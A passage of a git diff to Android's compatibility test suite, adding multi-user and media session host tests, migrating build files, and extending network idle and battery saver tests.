+        if (getDevice().listUsers().contains(userId) && userId != USER_SYSTEM
+                && !mExistingUsers.contains(userId)) {
+            // Don't log output, as tests sometimes set no debug user restriction, which
+            // causes this to fail, we should still continue and remove the user.
+            String stopUserCommand = "am stop-user -w -f " + userId;
+            CLog.d("Stopping and removing user " + userId);
+            getDevice().executeShellCommand(stopUserCommand);
+            assertTrue("Couldn't remove user", getDevice().removeUser(userId));
+        }
+    }
+
+    /**
+     * Runs tests on the device as if it's {@param userId}.
+     *
+     * @param pkgName test package file name that contains the {@link AndroidTestCase}
+     * @param testClassName Class name to test within the test package. Can be {@code null} if you
+     *    want to run all test classes in the package.
+     * @param testMethodName Method name to test within the test class. Can be {@code null} if you
+     *    want to run all test methods in the class. Will be ignored if {@param testClassName} is
+     *    {@code null}.
+     * @param userId user ID to run the tests as.
+     */
+    protected void runDeviceTestsAsUser(
+            String pkgName, @Nullable String testClassName,
+            @Nullable String testMethodName, int userId) throws DeviceNotAvailableException {
+        if (testClassName != null && testClassName.startsWith(".")) {
+            testClassName = pkgName + testClassName;
+        }
+
+        RemoteAndroidTestRunner testRunner = new RemoteAndroidTestRunner(
+                pkgName, RUNNER, getDevice().getIDevice());
+        testRunner.setMaxTimeToOutputResponse(DEFAULT_SHELL_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+        testRunner.addInstrumentationArg(
+                TEST_TIMEOUT_INST_ARGS_KEY, Long.toString(DEFAULT_TEST_TIMEOUT_MILLIS));
+        if (testClassName != null && testMethodName != null) {
+            testRunner.setMethodName(testClassName, testMethodName);
+        } else if (testClassName != null) {
+            testRunner.setClassName(testClassName);
+        }
+
+        CollectingTestListener listener = new CollectingTestListener();
+        assertTrue(getDevice().runInstrumentationTestsAsUser(testRunner, userId, listener));
+
+        final TestRunResult result = listener.getCurrentRunResults();
+        if (result.isRunFailure()) {
+            throw new AssertionError("Failed to successfully run device tests for "
+                    + result.getName() + ": " + result.getRunFailureMessage());
+        }
+        if (result.getNumTests() == 0) {
+            throw new AssertionError("No tests were run on the device");
+        }
+
+        if (result.hasFailedTests()) {
+            // Build a meaningful error message
+            StringBuilder errorBuilder = new StringBuilder("On-device tests failed:\n");
+            for (Map.Entry<TestIdentifier, TestResult> resultEntry :
+                    result.getTestResults().entrySet()) {
+                if (!resultEntry.getValue().getStatus().equals(TestStatus.PASSED)) {
+                    errorBuilder.append(resultEntry.getKey().toString());
+                    errorBuilder.append(":\n");
+                    errorBuilder.append(resultEntry.getValue().getStackTrace());
+                }
+            }
+            throw new AssertionError(errorBuilder.toString());
+        }
+    }
+
+    /**
+     * Checks whether it is possible to create the desired number of users.
+     */
+    protected boolean canCreateAdditionalUsers(int numberOfUsers)
+            throws DeviceNotAvailableException {
+        return getDevice().listUsers().size() + numberOfUsers <=
+                getDevice().getMaxNumberOfUsersSupported();
+    }
+
+    /**
+     * Gets the system setting as a string from the system settings provider for the user.
+     *
+     * @param namespace namespace of the setting.
+     * @param name name of the setting.
+     * @param userId user ID to query the setting. Can be {@link #USER_ALL}.
+     * @return value of the system setting provider with the given namespace and name.
+     *    {@code null}, empty string, or "null" will be returned to the empty string ("") instead.
+     */
+    protected @Nonnull String getSettings(@Nonnull String namespace, @Nonnull String name,
+            int userId) throws Exception {
+        String userFlag = (userId == USER_ALL) ? "" : " --user " + userId;
+        String commandOutput = executeShellCommand(
+                "settings" + userFlag + " get " + namespace + " " + name);
+        if (commandOutput == null || commandOutput.isEmpty() || commandOutput.equals("null")) {
+            commandOutput = "";
+        }
+        return commandOutput;
+    }
+
+    /**
+     * Puts the string to the system settings provider for the user.
+     * <p>This deletes the setting for an empty {@param value} as 'settings put' doesn't allow
+     * putting empty value.
+     *
+     * @param namespace namespace of the setting.
+     * @param name name of the setting.
+     * @param value value of the system setting provider with the given namespace and name.
+     * @param userId user ID to set the setting. Can be {@link #USER_ALL}.
+     */
+    protected void putSettings(@Nonnull String namespace, @Nonnull String name,
+            @Nullable String value, int userId) throws Exception {
+        if (value == null || value.isEmpty()) {
+            // Delete the setting if the value is null or empty as 'settings put' doesn't accept
+            // them.
+            // Ignore userId here because 'settings delete' doesn't support it.
+            executeShellCommand("settings delete " + namespace + " " + name);
+        } else {
+            String userFlag = (userId == USER_ALL) ? "" : " --user " + userId;
+            executeShellCommand("settings" + userFlag + " put " + namespace + " " + name
+                    + " " + value);
+        }
+    }
+}
diff --git a/hostsidetests/media/src/android/media/session/cts/MediaSessionManagerHostTest.java b/hostsidetests/media/src/android/media/session/cts/MediaSessionManagerHostTest.java
new file mode 100644
index 0000000..d665f5f
--- /dev/null
+++ b/hostsidetests/media/src/android/media/session/cts/MediaSessionManagerHostTest.java
@@ -0,0 +1,184 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.session.cts;
+
+import static android.media.cts.MediaSessionTestHelperConstants.FLAG_CREATE_MEDIA_SESSION;
+import static android.media.cts.MediaSessionTestHelperConstants.FLAG_SET_MEDIA_SESSION_ACTIVE;
+import static android.media.cts.MediaSessionTestHelperConstants.MEDIA_SESSION_TEST_HELPER_APK;
+import static android.media.cts.MediaSessionTestHelperConstants.MEDIA_SESSION_TEST_HELPER_PKG;
+
+import android.media.cts.BaseMultiUserTest;
+import android.media.cts.MediaSessionTestHelperConstants;
+
+import android.platform.test.annotations.RequiresDevice;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.log.LogUtil.CLog;
+
+import java.util.HashMap;
+import java.util.Map;
+import java.util.StringJoiner;
+import java.util.StringTokenizer;
+
+/**
+ * Host-side test for the media session manager that installs and runs device-side tests after the
+ * proper device setup.
+ * <p>Corresponding device-side tests are written in the {@link #DEVICE_SIDE_TEST_CLASS}
+ * which is in the {@link #DEVICE_SIDE_TEST_APK}.
+ */
+public class MediaSessionManagerHostTest extends BaseMultiUserTest {
+    /**
+     * Package name of the device-side tests.
+     */
+    private static final String DEVICE_SIDE_TEST_PKG = "android.media.session.cts";
+    /**
+     * Package file name (.apk) for the device-side tests.
+     */
+    private static final String DEVICE_SIDE_TEST_APK = "CtsMediaSessionHostTestApp.apk";
+    /**
+     * Fully qualified class name for the device-side tests.
+     */
+    private static final String DEVICE_SIDE_TEST_CLASS =
+            "android.media.session.cts.MediaSessionManagerTest";
+
+    private static final String SETTINGS_NOTIFICATION_LISTENER_NAMESPACE = "secure";
+    private static final String SETTINGS_NOTIFICATION_LISTENER_NAME =
+            "enabled_notification_listeners";
+
+    // Keep the original notification listener list to clean up.
+    private Map<Integer, String> mNotificationListeners;
+
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+        mNotificationListeners = new HashMap<>();
+    }
+
+    @Override
+    public void tearDown() throws Exception {
+        // Cleanup
+        for (int userId : mNotificationListeners.keySet()) {
+            String notificationListener = mNotificationListeners.get(userId);
+            putSettings(SETTINGS_NOTIFICATION_LISTENER_NAMESPACE,
+                    SETTINGS_NOTIFICATION_LISTENER_NAME, notificationListener, userId);
+        }
+        super.tearDown();
+    }
+
+    /**
+     * Tests {@link MediaSessionManager#getActiveSessions} with the multi-users environment.
+     */
+    @RequiresDevice
+    public void testGetActiveSessions() throws Exception {
+        // Ensure that the previously running media session test helper app doesn't exist.
+        getDevice().uninstallPackage(MEDIA_SESSION_TEST_HELPER_PKG);
+
+        int primaryUserId = getDevice().getPrimaryUserId();
+
+        allowGetActiveSessionForTest(primaryUserId);
+        installAppAsUser(DEVICE_SIDE_TEST_APK, primaryUserId);
+        runTest("testGetActiveSessions_noMediaSessionFromMediaSessionTestHelper");
+
+        installAppAsUser(MEDIA_SESSION_TEST_HELPER_APK, primaryUserId);
+        sendControlCommand(primaryUserId, FLAG_CREATE_MEDIA_SESSION);
+        runTest("testGetActiveSessions_noMediaSessionFromMediaSessionTestHelper");
+
+        sendControlCommand(primaryUserId, FLAG_SET_MEDIA_SESSION_ACTIVE);
+        runTest("testGetActiveSessions_hasMediaSessionFromMediaSessionTestHelper");
+
+        if (!canCreateAdditionalUsers(1)) {
+            CLog.w("Cannot create a new user. Skipping multi-user test cases.");
+            return;
+        }
+
+        // Test if another user can get the session.
+        int newUser = createAndStartUser();
+        installAppAsUser(DEVICE_SIDE_TEST_APK, newUser);
+        allowGetActiveSessionForTest(newUser);
+        runTestAsUser("testGetActiveSessions_noMediaSession", newUser);
+        removeUser(newUser);
+
+        // Test if another managed profile can get the session.
+        // Remove the created user first not to exceed system's user number limit.
+        newUser = createAndStartManagedProfile(primaryUserId);
+        installAppAsUser(DEVICE_SIDE_TEST_APK, newUser);
+        allowGetActiveSessionForTest(newUser);
+        runTestAsUser("testGetActiveSessions_noMediaSession", newUser);
+        removeUser(newUser);
+
+        // Test if another restricted profile can get the session.
+        // Remove the created user first not to exceed system's user number limit.
+        newUser = createAndStartRestrictedProfile(primaryUserId);
+        installAppAsUser(DEVICE_SIDE_TEST_APK, newUser);
+        allowGetActiveSessionForTest(newUser);
+        runTestAsUser("testGetActiveSessions_noMediaSession", newUser);
+    }
+
+    private void runTest(String testMethodName) throws DeviceNotAvailableException {
+        runTestAsUser(testMethodName, getDevice().getPrimaryUserId());
+    }
+
+    private void runTestAsUser(String testMethodName, int userId)
+            throws DeviceNotAvailableException {
+        runDeviceTestsAsUser(DEVICE_SIDE_TEST_PKG, DEVICE_SIDE_TEST_CLASS,
+                testMethodName, userId);
+    }
+
+    /**
+     * Allows the {@link #DEVICE_SIDE_TEST_CLASS} to call
+     * {@link MediaSessionManager#getActiveSessions} for testing.
+     * <p>{@link MediaSessionManager#getActiveSessions} bypasses the permission check if the
+     * caller is the enabled notification listener. This method uses the behavior by making
+     * {@link #DEVICE_SIDE_TEST_CLASS} as the notification listener. So any change in this
+     * should be also applied to the class.
+     * <p>Note that the device-side test {@link android.media.cts.MediaSessionManagerTest} already
+     * covers the test for failing {@link MediaSessionManager#getActiveSessions} without the
+     * permission nor the notification listener.
+     */
+    private void allowGetActiveSessionForTest(int userId) throws Exception {
+        final String NOTIFICATION_LISTENER_DELIM = ":";
+        if (mNotificationListeners.get(userId) != null) {
+            // Already enabled.
+            return;
+        }
+        String list = getSettings(SETTINGS_NOTIFICATION_LISTENER_NAMESPACE,
+                SETTINGS_NOTIFICATION_LISTENER_NAME, userId);
+
+        String notificationListener = DEVICE_SIDE_TEST_PKG + "/" + DEVICE_SIDE_TEST_CLASS;
+        // Ensure that the list doesn't contain notificationListener already.
+        // This can happen if the test is killed while running.
+        StringTokenizer tokenizer = new StringTokenizer(list, NOTIFICATION_LISTENER_DELIM);
+        StringJoiner joiner = new StringJoiner(NOTIFICATION_LISTENER_DELIM);
+        while (tokenizer.hasMoreTokens()) {
+            String token = tokenizer.nextToken();
+            if (!token.isEmpty() && !token.equals(notificationListener)) {
+                joiner.add(token);
+            }
+        }
+        list = joiner.toString();
+        // Preserve the original list.
+        mNotificationListeners.put(userId, list);
+        // Allow get active sessions by setting notification listener.
+        joiner.add(notificationListener);
+        putSettings(SETTINGS_NOTIFICATION_LISTENER_NAMESPACE,
+                SETTINGS_NOTIFICATION_LISTENER_NAME, joiner.toString(), userId);
+    }
+
+    private void sendControlCommand(int userId, int flag) throws Exception {
+        executeShellCommand(MediaSessionTestHelperConstants.buildControlCommand(userId, flag));
+    }
+}
diff --git a/hostsidetests/monkey/Android.mk b/hostsidetests/monkey/Android.mk
index 14462d0..7c7ecb5 100644
--- a/hostsidetests/monkey/Android.mk
+++ b/hostsidetests/monkey/Android.mk
@@ -22,9 +22,7 @@
 
 LOCAL_MODULE := CtsMonkeyTestCases
 
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed-prebuilt compatibility-host-util
-
-LOCAL_STATIC_JAVA_LIBRARIES := cts-migration-lib
+LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
 
 # prefix zzz intentional to run this last
 LOCAL_CTS_TEST_PACKAGE := zzz.android.monkey
diff --git a/hostsidetests/monkey/AndroidTest.xml b/hostsidetests/monkey/AndroidTest.xml
index 799ee6a..6479915 100644
--- a/hostsidetests/monkey/AndroidTest.xml
+++ b/hostsidetests/monkey/AndroidTest.xml
@@ -14,6 +14,7 @@
      limitations under the License.
 -->
 <configuration description="Config for the CTS monkey host tests">
+    <option name="config-descriptor:metadata" key="component" value="misc" />
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsMonkeyTestCases.jar" />
         <option name="runtime-hint" value="5m7s" />
diff --git a/hostsidetests/monkey/src/com/android/cts/monkey/AbstractMonkeyTest.java b/hostsidetests/monkey/src/com/android/cts/monkey/AbstractMonkeyTest.java
index 26023be..5f22b62 100755
--- a/hostsidetests/monkey/src/com/android/cts/monkey/AbstractMonkeyTest.java
+++ b/hostsidetests/monkey/src/com/android/cts/monkey/AbstractMonkeyTest.java
@@ -1,7 +1,6 @@
 package com.android.cts.monkey;
 
-import com.android.compatibility.common.util.AbiUtils;
-import com.android.cts.migration.MigrationHelper;
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
@@ -9,6 +8,7 @@
 import com.android.tradefed.testtype.IAbi;
 import com.android.tradefed.testtype.IAbiReceiver;
 import com.android.tradefed.testtype.IBuildReceiver;
+import com.android.tradefed.util.AbiUtils;
 
 import java.io.File;
 
@@ -41,9 +41,10 @@
         super.setUp();
         mDevice = getDevice();
         String[] options = {AbiUtils.createAbiFlag(mAbi.getName())};
+        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mBuild);
         for (int i = 0; i < PKGS.length; i++) {
             mDevice.uninstallPackage(PKGS[i]);
-            File app = MigrationHelper.getTestFile(mBuild, APKS[i]);
+            File app = buildHelper.getTestFile(APKS[i]);
             mDevice.installPackage(app, false, options);
         }
         clearLogCat();
diff --git a/hostsidetests/multiuser/Android.mk b/hostsidetests/multiuser/Android.mk
index 1a324fb..ec18912 100644
--- a/hostsidetests/multiuser/Android.mk
+++ b/hostsidetests/multiuser/Android.mk
@@ -22,9 +22,7 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_JAVA_LIBRARIES := tools-common-prebuilt cts-tradefed tradefed-prebuilt
-
-LOCAL_STATIC_JAVA_LIBRARIES := cts-migration-lib
+LOCAL_JAVA_LIBRARIES := tools-common-prebuilt cts-tradefed tradefed
 
 LOCAL_CTS_TEST_PACKAGE := android.host.multiuser
 
@@ -34,4 +32,4 @@
 include $(BUILD_CTS_HOST_JAVA_LIBRARY)
 
 # Build the test APKs using their own makefiles
-include $(call all-makefiles-under,$(LOCAL_PATH))
\ No newline at end of file
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/multiuser/AndroidTest.xml b/hostsidetests/multiuser/AndroidTest.xml
index d4428fa..27a2073 100644
--- a/hostsidetests/multiuser/AndroidTest.xml
+++ b/hostsidetests/multiuser/AndroidTest.xml
@@ -14,7 +14,9 @@
      limitations under the License.
 -->
 <configuration description="Config for the CTS multiuser host tests">
+    <option name="config-descriptor:metadata" key="component" value="framework" />
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsMultiUserHostTestCases.jar" />
+        <option name="runtime-hint" value="8m" />
     </test>
 </configuration>
diff --git a/hostsidetests/multiuser/src/android/host/multiuser/BaseMultiUserTest.java b/hostsidetests/multiuser/src/android/host/multiuser/BaseMultiUserTest.java
index d8232c3..e510cae 100644
--- a/hostsidetests/multiuser/src/android/host/multiuser/BaseMultiUserTest.java
+++ b/hostsidetests/multiuser/src/android/host/multiuser/BaseMultiUserTest.java
@@ -51,7 +51,7 @@
         mSupportsMultiUser = getDevice().getMaxNumberOfUsersSupported() > 1;
         mIsSplitSystemUser = checkIfSplitSystemUser();
         mPrimaryUserId = getDevice().getPrimaryUserId();
-        mFixedUsers = new ArrayList();
+        mFixedUsers = new ArrayList<>();
         mFixedUsers.add(mPrimaryUserId);
         if (mPrimaryUserId != USER_SYSTEM) {
             mFixedUsers.add(USER_SYSTEM);
@@ -62,6 +62,10 @@
 
     @Override
     protected void tearDown() throws Exception {
+        if (getDevice().getCurrentUser() != mPrimaryUserId) {
+            CLog.w("User changed during test. Switching back to " + mPrimaryUserId);
+            getDevice().switchUser(mPrimaryUserId);
+        }
         removeTestUsers();
         super.tearDown();
     }
@@ -86,6 +90,29 @@
         throw new IllegalStateException();
     }
 
+    /**
+     * @return the userid of the created user
+     */
+    protected int createUser()
+            throws DeviceNotAvailableException, IllegalStateException {
+        final String command = "pm create-user "
+                + "TestUser_" + System.currentTimeMillis();
+        CLog.d("Starting command: " + command);
+        final String output = getDevice().executeShellCommand(command);
+        CLog.d("Output for command " + command + ": " + output);
+
+        if (output.startsWith("Success")) {
+            try {
+                return Integer.parseInt(output.substring(output.lastIndexOf(" ")).trim());
+            } catch (NumberFormatException e) {
+                CLog.e("Failed to parse result: %s", output);
+            }
+        } else {
+            CLog.e("Failed to create user: %s", output);
+        }
+        throw new IllegalStateException();
+    }
+
     private void removeTestUsers() throws Exception {
         for (int userId : getDevice().listUsers()) {
             if (!mFixedUsers.contains(userId)) {
diff --git a/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersNoAppCrashesTest.java b/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersNoAppCrashesTest.java
new file mode 100644
index 0000000..5d4b89e
--- /dev/null
+++ b/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersNoAppCrashesTest.java
@@ -0,0 +1,77 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.host.multiuser;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.log.LogUtil.CLog;
+
+import java.util.LinkedHashSet;
+import java.util.Scanner;
+import java.util.Set;
+
+/**
+ * Test verifies that users can be created/switched to without error dialogs shown to the user
+ */
+public class CreateUsersNoAppCrashesTest extends BaseMultiUserTest {
+    private int mInitialUserId;
+    private static final long LOGCAT_POLL_INTERVAL_MS = 5000;
+    private static final long BOOT_COMPLETED_TIMEOUT_MS = 120000;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mInitialUserId = getDevice().getCurrentUser();
+    }
+
+    public void testCanCreateGuestUser() throws Exception {
+        if (!mSupportsMultiUser) {
+            return;
+        }
+        int userId = getDevice().createUser(
+                "TestUser_" + System.currentTimeMillis() /* name */,
+                true /* guest */,
+                false /* ephemeral */);
+        getDevice().executeAdbCommand("logcat", "-c"); // Reset log
+        assertTrue("Couldn't switch to user " + userId, getDevice().switchUser(userId));
+        Set<String> appErrors = new LinkedHashSet<>();
+        assertTrue("Didn't receive BOOT_COMPLETED delivered notification. appErrors=" + appErrors,
+                waitForBootCompleted(appErrors, userId));
+        assertTrue("App error dialog(s) are present: " + appErrors, appErrors.isEmpty());
+        assertTrue("Couldn't switch to user " + userId, getDevice().switchUser(mInitialUserId));
+    }
+
+    private boolean waitForBootCompleted(Set<String> appErrors, int targetUserId)
+            throws DeviceNotAvailableException, InterruptedException {
+        long ti = System.currentTimeMillis();
+        while (System.currentTimeMillis() - ti < BOOT_COMPLETED_TIMEOUT_MS) {
+            String logs = getDevice().executeAdbCommand("logcat", "-v", "brief", "-d");
+            Scanner in = new Scanner(logs);
+            while (in.hasNextLine()) {
+                String line = in.nextLine();
+                if (line.contains("Showing crash dialog for package")) {
+                    appErrors.add(line);
+                } else if (line.contains("Finished processing BOOT_COMPLETED for u" + targetUserId)) {
+                    return true;
+                }
+
+            }
+            in.close();
+            Thread.sleep(LOGCAT_POLL_INTERVAL_MS);
+        }
+        return false;
+    }
+}
diff --git a/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersPermissionTest.java b/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersPermissionTest.java
index d111e0b..9a43534 100644
--- a/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersPermissionTest.java
+++ b/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersPermissionTest.java
@@ -15,6 +15,10 @@
  */
 package android.host.multiuser;
 
+import static com.android.tradefed.log.LogUtil.CLog;
+
+import com.android.ddmlib.Log;
+
 public class CreateUsersPermissionTest extends BaseMultiUserTest {
 
     public void testCanCreateGuestUser() throws Exception {
@@ -45,9 +49,16 @@
     }
 
     public void testCantSetUserRestriction() throws Exception {
+        if (getDevice().isAdbRoot()) {
+            CLog.logAndDisplay(Log.LogLevel.WARN,
+                    "Cannot test testCantSetUserRestriction on rooted devices");
+            return;
+        }
         final String setRestriction = "pm set-user-restriction no_fun ";
         final String output = getDevice().executeShellCommand(setRestriction + "1");
-        assertTrue("Trying to set user restriction should fail with SecurityException",
-                output.startsWith("Error") && output.contains("SecurityException"));
+        final boolean isErrorOutput = output.startsWith("Error")
+                && output.contains("SecurityException");
+        assertTrue("Trying to set user restriction should fail with SecurityException. "
+                + "command output: " + output, isErrorOutput);
     }
 }
diff --git a/hostsidetests/net/Android.mk b/hostsidetests/net/Android.mk
index ad97ecd..1c3f053 100644
--- a/hostsidetests/net/Android.mk
+++ b/hostsidetests/net/Android.mk
@@ -21,9 +21,7 @@
 
 LOCAL_MODULE := CtsHostsideNetworkTests
 
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed-prebuilt
-
-LOCAL_STATIC_JAVA_LIBRARIES := cts-migration-lib
+LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed
 
 LOCAL_CTS_TEST_PACKAGE := android.net.hostsidenetwork
 
diff --git a/hostsidetests/net/AndroidTest.xml b/hostsidetests/net/AndroidTest.xml
index 9945805..ad7f81b 100644
--- a/hostsidetests/net/AndroidTest.xml
+++ b/hostsidetests/net/AndroidTest.xml
@@ -14,6 +14,7 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS net host test cases">
+    <option name="config-descriptor:metadata" key="component" value="networking" />
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsHostsideNetworkTests.jar" />
         <option name="runtime-hint" value="3m56s" />
diff --git a/hostsidetests/net/aidl/Android.mk b/hostsidetests/net/aidl/Android.mk
index 4aa55b6..85f71c3 100644
--- a/hostsidetests/net/aidl/Android.mk
+++ b/hostsidetests/net/aidl/Android.mk
@@ -17,6 +17,9 @@
 include $(CLEAR_VARS)
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
-LOCAL_SRC_FILES := com/android/cts/net/hostside/IRemoteSocketFactory.aidl
+LOCAL_SRC_FILES := \
+        com/android/cts/net/hostside/IMyService.aidl \
+        com/android/cts/net/hostside/INetworkStateObserver.aidl \
+        com/android/cts/net/hostside/IRemoteSocketFactory.aidl
 LOCAL_MODULE := CtsHostsideNetworkTestsAidl
 include $(BUILD_STATIC_JAVA_LIBRARY)
diff --git a/hostsidetests/net/aidl/com/android/cts/net/hostside/IMyService.aidl b/hostsidetests/net/aidl/com/android/cts/net/hostside/IMyService.aidl
new file mode 100644
index 0000000..72d1059
--- /dev/null
+++ b/hostsidetests/net/aidl/com/android/cts/net/hostside/IMyService.aidl
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.net.hostside;
+
+interface IMyService {
+    void registerBroadcastReceiver();
+    int getCounters(String receiverName, String action);
+    String checkNetworkStatus();
+    String getRestrictBackgroundStatus();
+    void sendNotification(int notificationId, String notificationType);
+}
diff --git a/hostsidetests/net/aidl/com/android/cts/net/hostside/INetworkStateObserver.aidl b/hostsidetests/net/aidl/com/android/cts/net/hostside/INetworkStateObserver.aidl
new file mode 100644
index 0000000..165f530
--- /dev/null
+++ b/hostsidetests/net/aidl/com/android/cts/net/hostside/INetworkStateObserver.aidl
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.net.hostside;
+
+interface INetworkStateObserver {
+    boolean isForeground();
+    void onNetworkStateChecked(String resultData);
+}
\ No newline at end of file
diff --git a/hostsidetests/net/app/Android.mk b/hostsidetests/net/app/Android.mk
index 9519ec52..1c1a798 100644
--- a/hostsidetests/net/app/Android.mk
+++ b/hostsidetests/net/app/Android.mk
@@ -20,7 +20,7 @@
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := ctsdeviceutil ctstestrunner ub-uiautomator \
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner ub-uiautomator \
         CtsHostsideNetworkTestsAidl
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractAppIdleTestCase.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractAppIdleTestCase.java
index 831b387..d2c0873 100644
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractAppIdleTestCase.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractAppIdleTestCase.java
@@ -32,6 +32,7 @@
 
         // Set initial state.
         removePowerSaveModeWhitelist(TEST_APP2_PKG);
+        removePowerSaveModeExceptIdleWhitelist(TEST_APP2_PKG);
         setAppIdle(false);
         turnBatteryOff();
 
@@ -82,9 +83,7 @@
 
         // Make sure foreground app doesn't lose access upon enabling it.
         setAppIdle(true);
-        launchActivity();
-        assertAppIdle(false); // Sanity check - not idle anymore, since activity was launched...
-        assertForegroundNetworkAccess();
+        launchComponentAndAssertNetworkAccess(TYPE_COMPONENT_ACTIVTIY);
         finishActivity();
         assertAppIdle(false); // Sanity check - not idle anymore, since activity was launched...
         assertBackgroundNetworkAccess(true);
@@ -93,9 +92,7 @@
 
         // Same for foreground service.
         setAppIdle(true);
-        startForegroundService();
-        assertAppIdle(true); // Sanity check - still idle
-        assertForegroundServiceNetworkAccess();
+        launchComponentAndAssertNetworkAccess(TYPE_COMPONENT_FOREGROUND_SERVICE);
         stopForegroundService();
         assertAppIdle(true);
         assertBackgroundNetworkAccess(false);
@@ -115,6 +112,14 @@
         assertAppIdle(true); // Sanity check - idle again, once whitelisted was removed
         assertBackgroundNetworkAccess(false);
 
+        addPowerSaveModeExceptIdleWhitelist(TEST_APP2_PKG);
+        assertAppIdle(false); // Sanity check - not idle anymore, since whitelisted
+        assertBackgroundNetworkAccess(true);
+
+        removePowerSaveModeExceptIdleWhitelist(TEST_APP2_PKG);
+        assertAppIdle(true); // Sanity check - idle again, once whitelisted was removed
+        assertBackgroundNetworkAccess(false);
+
         assertsForegroundAlwaysHasNetworkAccess();
 
         // Sanity check - no whitelist, no access!
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractBatterySaverModeTestCase.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractBatterySaverModeTestCase.java
index b5637be..28175b8 100644
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractBatterySaverModeTestCase.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractBatterySaverModeTestCase.java
@@ -31,6 +31,7 @@
 
         // Set initial state.
         removePowerSaveModeWhitelist(TEST_APP2_PKG);
+        removePowerSaveModeExceptIdleWhitelist(TEST_APP2_PKG);
         setBatterySaverMode(false);
 
         registerBroadcastReceiver();
@@ -86,8 +87,7 @@
 
         // Make sure foreground app doesn't lose access upon Battery Saver.
         setBatterySaverMode(false);
-        launchActivity();
-        assertForegroundNetworkAccess();
+        launchComponentAndAssertNetworkAccess(TYPE_COMPONENT_ACTIVTIY);
         setBatterySaverMode(true);
         assertForegroundNetworkAccess();
 
@@ -103,8 +103,7 @@
 
         // Make sure foreground service doesn't lose access upon enabling Battery Saver.
         setBatterySaverMode(false);
-        startForegroundService();
-        assertForegroundNetworkAccess();
+        launchComponentAndAssertNetworkAccess(TYPE_COMPONENT_FOREGROUND_SERVICE);
         setBatterySaverMode(true);
         assertForegroundNetworkAccess();
         stopForegroundService();
@@ -123,6 +122,12 @@
